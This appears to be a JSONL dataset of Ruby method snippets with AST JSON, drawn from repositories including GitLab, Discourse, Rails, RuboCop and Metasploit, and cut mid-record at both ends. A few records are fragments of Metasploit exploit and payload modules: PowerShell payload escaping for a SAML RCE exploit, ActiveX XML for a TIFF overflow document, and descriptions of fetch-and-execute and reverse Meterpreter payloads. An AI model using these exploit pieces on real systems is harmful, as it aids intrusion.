allowed\"\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_local_network\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addrs_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addrs_info\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addr\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"ipv4_private?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"ipv6_sitelocal?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"ipv6_unique_local?\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"BlockedUrlError\"]},{\"type\":\"str\",\"children\":[\"Requests to the local network are not allowed\"]}]}]}]}","id":"135d4be8-ad0d-4c2c-a733-60dada617ebd"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/reporter.rb","start_line":35,"raw_source":"def add(name, outputs)\n outputs.each do |output|\n formatter_class =\n case name\n when \"p\", \"progress\"\n TurboTests::ProgressFormatter\n when \"d\", \"documentation\"\n TurboTests::DocumentationFormatter\n else\n Kernel.const_get(name)\n end\n\n add_formatter(formatter_class.new(output))\n end\n end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"outputs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outputs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatter_class\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"str\",\"children\":[\"progress\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TurboTests\"]},\"ProgressFormatter\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"d\"]},{\"type\":\"str\",\"children\":[\"documentation\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TurboTests\"]},\"DocumentationFormatter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_formatter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}","id":"237038df-13e3-4d19-b94c-ac1f6e35dc58"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb","start_line":120,"raw_source":"def encode_begin(real_payload, reqs)\n super\n\n reqs['EncapsulationRoutine'] = proc do |_reqs, raw|\n raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw\n end\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_begin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"real_payload\"]},{\"type\":\"arg\",\"children\":[\"reqs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reqs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"EncapsulationRoutine\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_reqs\"]},{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"str\",\"children\":[\"`$\"]}]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]}]}","id":"e4ea2b83-cff9-44d4-951f-89ca55518557"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/commit.rb","start_line":282,"raw_source":"def committed_date\n strong_memoize(:committed_date) do\n init_date_from_gitaly(raw_commit.committer) if raw_commit\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"committed_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"committed_date\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_commit\"]},{\"type\":\"send\",\"children\":[null,\"init_date_from_gitaly\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_commit\"]},\"committer\"]}]},null]}]}]}","id":"8dab115a-2f2a-4d3d-9133-c73cb995c455"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240327133742_add_require_reauthentication_to_approve.rb","start_line":8,"raw_source":"def up\n add_column :project_settings, COLUMN_NAME, :boolean\n add_column :group_merge_request_approval_settings, COLUMN_NAME, :boolean, default: false, null: false\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"project_settings\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"group_merge_request_approval_settings\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"9ac1d0bb-ba10-40ec-a973-4f82dffebd63"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb","start_line":276,"raw_source":"def make_activex_xml_reals(rid, target_bin)\n acx_type = \"http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary\"\n md = ::Nokogiri::XML(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\")\n builder = ::Nokogiri::XML::Builder.with(md) do |xml|\n xml.Relationships('xmlns' => \"http://schemas.openxmlformats.org/package/2006/relationships\") do\n xml.Relationship({ :Id => \"rId#{rid.to_s}\", :Type => acx_type, :Target => target_bin })\n end\n end\n\n builder.to_xml(:indent => 0)\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"make_activex_xml_reals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rid\"]},{\"type\":\"arg\",\"children\":[\"target_bin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"acx_type\",{\"type\":\"str\",\"children\":[\"http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary\"]}]},{\"type\":\"lvasgn\",\"children\":[\"md\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Nokogiri\"]},\"XML\",{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Nokogiri\"]},\"XML\"]},\"Builder\"]},\"with\",{\"type\":\"lvar\",\"children\":[\"md\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Relationships\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns\"]},{\"type\":\"str\",\"children\":[\"http://schemas.openxmlformats.org/package/2006/relationships\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Relationship\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rId\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rid\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Type\"]},{\"type\":\"lvar\",\"children\":[\"acx_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Target\"]},{\"type\":\"lvar\",\"children\":[\"target_bin\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"to_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"ce21dd19-7be5-4ee9-a0fa-2f4d4fe1a3cf"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/members_helpers.rb","start_line":51,"raw_source":"def retrieve_member_invitations(source, query = nil)\n members = source_members(source).where.not(invite_token: nil)\n members = members.includes(:user)\n members = members.where(invite_email: query) if query.present?\n members\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_member_invitations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"query\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_members\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invite_token\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invite_email\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"members\"]}]}]}","id":"a72531c8-96df-4fae-8030-3a71caac7eda"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_length.rb","start_line":352,"raw_source":"def check_directive_line(line, line_index)\n length_without_directive = line_length_without_directive(line)\n return if length_without_directive <= max\n\n range = max..(length_without_directive - 1)\n register_offense(\n source_range(\n processed_source.buffer,\n line_index + 1,\n range\n ),\n line,\n line_index,\n length: length_without_directive\n )\n end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_directive_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"line_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"length_without_directive\",{\"type\":\"send\",\"children\":[null,\"line_length_without_directive\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_without_directive\"]},\"<=\",{\"type\":\"send\",\"children\":[null,\"max\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_without_directive\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"send\",\"children\":[null,\"source_range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"buffer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"line_index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"length_without_directive\"]}]}]}]}]}]}","id":"72898883-8181-4824-abb9-22eb6d7783f5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3699,"raw_source":"def check_duplicate_export!(current_user)\n return unless export_jobs.by_user_id(current_user.id).queued_or_started.exists?\n\n raise ExportAlreadyInProgress, _('An export is already running or queued for this project. Please try again once it\\'s done.')\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_duplicate_export!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"export_jobs\"]},\"by_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"id\"]}]},\"queued_or_started\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ExportAlreadyInProgress\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"An export is already running or queued for this project. Please try again once it's done.\"]}]}]}]}]}","id":"9b494154-554d-4905-bad7-849ed610776b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/linux/https/mips64.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'HTTPS Fetch',\n 'Description' => 'Fetch and execute an MIPS64 payload from an HTTPS server.',\n 'Author' => ['Brendan Watters', 'Spencer McIntyre'],\n 'Platform' => 'linux',\n 'Arch' => ARCH_CMD,\n 'License' => MSF_LICENSE,\n 'AdaptedArch' => ARCH_MIPS64,\n 'AdaptedPlatform' => 'linux'\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTTPS Fetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Fetch and execute an MIPS64 payload from an HTTPS server.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brendan Watters\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedArch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPS64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedPlatform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]}","id":"ecd9741a-a29a-41ba-940a-d63d28f70228"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/checksum.rb","start_line":102,"raw_source":"def chunk_size(chunk)\n if chunk == last_chunk\n chunk.size\n else\n ::Ci::BuildTraceChunk::CHUNK_SIZE\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"chunk_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"last_chunk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"size\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"BuildTraceChunk\"]},\"CHUNK_SIZE\"]}]}]}","id":"6f803a57-8673-449c-a3b3-591f05800660"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/username_changer.rb","start_line":4,"raw_source":"def initialize(user, new_username, actor = nil)\n @user = user\n @old_username = user.username\n @new_username = new_username\n @actor = actor\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"new_username\"]},{\"type\":\"optarg\",\"children\":[\"actor\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@new_username\",{\"type\":\"lvar\",\"children\":[\"new_username\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@actor\",{\"type\":\"lvar\",\"children\":[\"actor\"]}]}]}]}","id":"c0ab4969-e596-4d44-8e14-33015f6d37db"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/git/commit_spec.rb","start_line":134,"raw_source":"def create_commit_with_large_message\n repository.commit_files(\n user,\n branch_name: 'HEAD',\n message: \"Repeat \" * 10 * 1024,\n actions: []\n ).newrev\n end","complexity_score":8.85,"ast_json":"{\"type\":\"def\",\"children\":[\"create_commit_with_large_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"commit_files\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"str\",\"children\":[\"HEAD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Repeat \"]},\"*\",{\"type\":\"int\",\"children\":[10]}]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"array\",\"children\":[]}]}]}]},\"newrev\"]}]}","id":"be21deec-59b1-46ce-93b8-eda34702be9a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb","start_line":14,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',\n 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',\n 'Author' => [\n 'Adam Cammack <adam_cammack[at]rapid7.com>',\n 'Brent Cook <brent_cook[at]rapid7.com>',\n 'timwr'\n ],\n 'Platform' => 'linux',\n 'Arch' => ARCH_PPC64LE,\n 'License' => MSF_LICENSE,\n 'Handler' => Msf::Handler::ReverseHttps,\n 'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Meterpreter, Reverse HTTPS Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Run the Meterpreter / Mettle server payload (stageless)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adam Cammack <adam_cammack[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"Brent Cook <brent_cook[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC64LE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseHttps\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_ppc64le_Linux\"]}]}]}]}]}]}","id":"df0b8515-6ecf-4e51-a460-1b4452e6bb56"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/work_item/widgets.rb","start_line":100,"raw_source":"def wait_label_block_finish_loading\n within_element('work-item-labels') do\n wait_until(reload: false, max_duration: 10, sleep_interval: 1) do\n finished_loading_block?\n yield\n end\n end\n end","complexity_score":7.45,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_label_block_finish_loading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"work-item-labels\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"finished_loading_block?\"]},{\"type\":\"yield\",\"children\":[]}]}]}]}]}","id":"f4d9a7c8-52dc-42d3-ad2e-d6c2cbc0b53f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/blob_helper.rb","start_line":16,"raw_source":"def viewable?\n !large? && text_in_repo?\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"viewable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"large?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"text_in_repo?\"]}]}]}","id":"ea49a935-cd54-4842-a9c1-56b5850ff49c"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/select_test.rb","start_line":136,"raw_source":"def test_reselect_with_one_level_hash_argument\n expected = Post.select(:title, title: :post_title).to_sql\n actual = Post.select(:title, :body).reselect(:title, title: :post_title).to_sql\n assert_equal expected, actual\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reselect_with_one_level_hash_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"post_title\"]}]}]}]},\"to_sql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"reselect\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"post_title\"]}]}]}]},\"to_sql\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"84155ed4-a81c-44f1-aff8-ecc42d7388e9"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/hash_alignment.rb","start_line":208,"raw_source":"def on_hash(node)\n return if autocorrect_incompatible_with_other_cops?(node) || ignored_node?(node) ||\n node.pairs.empty? || node.single_line?\n\n proc = ->(a) { a.checkable_layout?(node) }\n return unless alignment_for_hash_rockets.any?(proc) && alignment_for_colons.any?(proc)\n\n check_pairs(node)\n end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocorrect_incompatible_with_other_cops?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"pairs\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"single_line?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"proc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lam